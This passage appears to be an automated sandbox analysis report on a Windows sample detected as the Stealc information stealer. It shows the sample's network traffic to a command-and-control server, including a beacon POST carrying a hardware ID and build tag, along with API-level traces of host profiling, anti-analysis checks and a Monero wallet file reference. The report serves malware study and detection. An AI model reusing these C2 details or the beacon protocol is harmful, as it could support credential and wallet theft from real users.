Oct 27, 2024 13:04:01.916923046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:01.922621012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 13:04:01.922733068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:01.922887087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:01.928268909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 13:04:03.149488926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 13:04:03.149602890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:03.149692059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 13:04:03.149732113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:03.163208008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:03.168632030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 13:04:03.454608917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 13:04:03.454796076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 13:04:06.198906898 CET	49704	80	192.168.2.5	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	3356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 13:04:01.922887087 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 13:04:03.149488926 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 12:04:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 13:04:03.149692059 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 12:04:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 13:04:03.163208008 CET	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 45 42 37 32 31 36 43 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="hwid"6A5EB7216C1A2447771074------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="build"puma------JKECGHCFIJDAAKFHJJDH--
Oct 27, 2024 13:04:03.454608917 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 12:04:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	08:03:57
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9e0000
File size:	1'866'752 bytes
MD5 hash:	D42E9BEBEB9D3F72398F5A5211B649E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2101658537.000000000139E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2051322816.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 009F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013B0768), ref: 009F98A1
GetProcAddress.KERNEL32(75900000,013B0798), ref: 009F98BA
GetProcAddress.KERNEL32(75900000,013B07C8), ref: 009F98D2
GetProcAddress.KERNEL32(75900000,013B07E0), ref: 009F98EA
GetProcAddress.KERNEL32(75900000,013B0648), ref: 009F9903
GetProcAddress.KERNEL32(75900000,013B8870), ref: 009F991B
GetProcAddress.KERNEL32(75900000,013A6400), ref: 009F9933
GetProcAddress.KERNEL32(75900000,013A6380), ref: 009F994C
GetProcAddress.KERNEL32(75900000,013B06C0), ref: 009F9964
GetProcAddress.KERNEL32(75900000,013B0780), ref: 009F997C
GetProcAddress.KERNEL32(75900000,013B0708), ref: 009F9995
GetProcAddress.KERNEL32(75900000,013B07B0), ref: 009F99AD
GetProcAddress.KERNEL32(75900000,013A65E0), ref: 009F99C5
GetProcAddress.KERNEL32(75900000,013B0738), ref: 009F99DE
GetProcAddress.KERNEL32(75900000,013B07F8), ref: 009F99F6
GetProcAddress.KERNEL32(75900000,013A6420), ref: 009F9A0E
GetProcAddress.KERNEL32(75900000,013B0828), ref: 009F9A27
GetProcAddress.KERNEL32(75900000,013B08A0), ref: 009F9A3F
GetProcAddress.KERNEL32(75900000,013A6500), ref: 009F9A57
GetProcAddress.KERNEL32(75900000,013B08B8), ref: 009F9A70
GetProcAddress.KERNEL32(75900000,013A6360), ref: 009F9A88
LoadLibraryA.KERNEL32(013B0858,?,009F6A00), ref: 009F9A9A
LoadLibraryA.KERNEL32(013B08D0,?,009F6A00), ref: 009F9AAB
LoadLibraryA.KERNEL32(013B0900,?,009F6A00), ref: 009F9ABD
LoadLibraryA.KERNEL32(013B08E8,?,009F6A00), ref: 009F9ACF
LoadLibraryA.KERNEL32(013B0918,?,009F6A00), ref: 009F9AE0
GetProcAddress.KERNEL32(75070000,013B0870), ref: 009F9B02
GetProcAddress.KERNEL32(75FD0000,013B0888), ref: 009F9B23
GetProcAddress.KERNEL32(75FD0000,013B8C40), ref: 009F9B3B
GetProcAddress.KERNEL32(75A50000,013B8E98), ref: 009F9B5D
GetProcAddress.KERNEL32(74E50000,013A6440), ref: 009F9B7E
GetProcAddress.KERNEL32(76E80000,013B88A0), ref: 009F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 009F9BB6

Strings

NtQueryInformationProcess, xrefs: 009F9BAA

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 0cdefd4d35e3b568ba6839327a9d06ee1c690a5f7ece731003a1d36b44bc0977
Instruction ID: ca7fe1a27d1157bd71ce30ce4e8c4502e7d78374f45b5b771a8e6c8d08cf7256
Opcode Fuzzy Hash: 0cdefd4d35e3b568ba6839327a9d06ee1c690a5f7ece731003a1d36b44bc0977
Instruction Fuzzy Hash: 81A14DB55302409FD364EFA9EE88B6E37F9F74CB01704452AE605C3AA4D7399843CB56

Function 009E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 009E460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 009E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009E46CD

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 6402300b1463d57aa5d22bfa8fc1af7d920cf07901525b4f1c5b4a5ad3e12f5b
Instruction ID: 5418dff17df9f47667cc2617da75dc9b7091bf5e2001fe49b3207f2f75b75bc0
Opcode Fuzzy Hash: 6402300b1463d57aa5d22bfa8fc1af7d920cf07901525b4f1c5b4a5ad3e12f5b
Instruction Fuzzy Hash: 9A410260FD37087BC63CFFB4B87EADEB65F6F56B00F405880AC68522C0EAA0550449B2

Function 009E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009E4839
Part of subcall function 009E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009E4849

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009E4915
StrCmpCA.SHLWAPI(?,013BE3C0), ref: 009E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00A00DDB,00000000,?,?,00000000,?,",00000000,?,013BE390), ref: 009E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009E4E49
InternetCloseHandle.WININET(00000000), ref: 009E4EAD
InternetCloseHandle.WININET(00000000), ref: 009E4EC5
HttpOpenRequestA.WININET(00000000,013BE290,?,013BDC98,00000000,00000000,00400100,00000000), ref: 009E4B15

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

InternetCloseHandle.WININET(00000000), ref: 009E4ECF

Strings

------, xrefs: 009E4C69
", xrefs: 009E4BF2
", xrefs: 009E4D33
------, xrefs: 009E49BD
------, xrefs: 009E4B28

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 884a066a2e1216c3d959502750a4d89af2d08ee6cc057d162f79da0721110544
Instruction ID: 2b61944dc41a99aa4ef521e17bd3dadaf422672bed461bd154bffb10d5402539
Opcode Fuzzy Hash: 884a066a2e1216c3d959502750a4d89af2d08ee6cc057d162f79da0721110544
Instruction Fuzzy Hash: 2A12CFB191011CAADB15EB90DC92FFEB379BF94340F5041A9B20A62491DFB06F49CF66

Function 009F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F7910
RtlAllocateHeap.NTDLL(00000000), ref: 009F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 009F792F

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: cc40a50fa86c2d15ac247ede932d7c1c682a6ae2d9d20852759d2a38264d0e9f
Instruction ID: 59080d35c3fb3f9207621ab8b2ef6a40bd03d5f523f8bc3764830403b37d095d
Opcode Fuzzy Hash: cc40a50fa86c2d15ac247ede932d7c1c682a6ae2d9d20852759d2a38264d0e9f
Instruction Fuzzy Hash: C20181B1A04209EBC710DF98DD45FAEFBB8FB04B65F10421AFA45E36C0C77859408BA1

Function 009F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009E11B7), ref: 009F7880
RtlAllocateHeap.NTDLL(00000000), ref: 009F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 009F789F

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
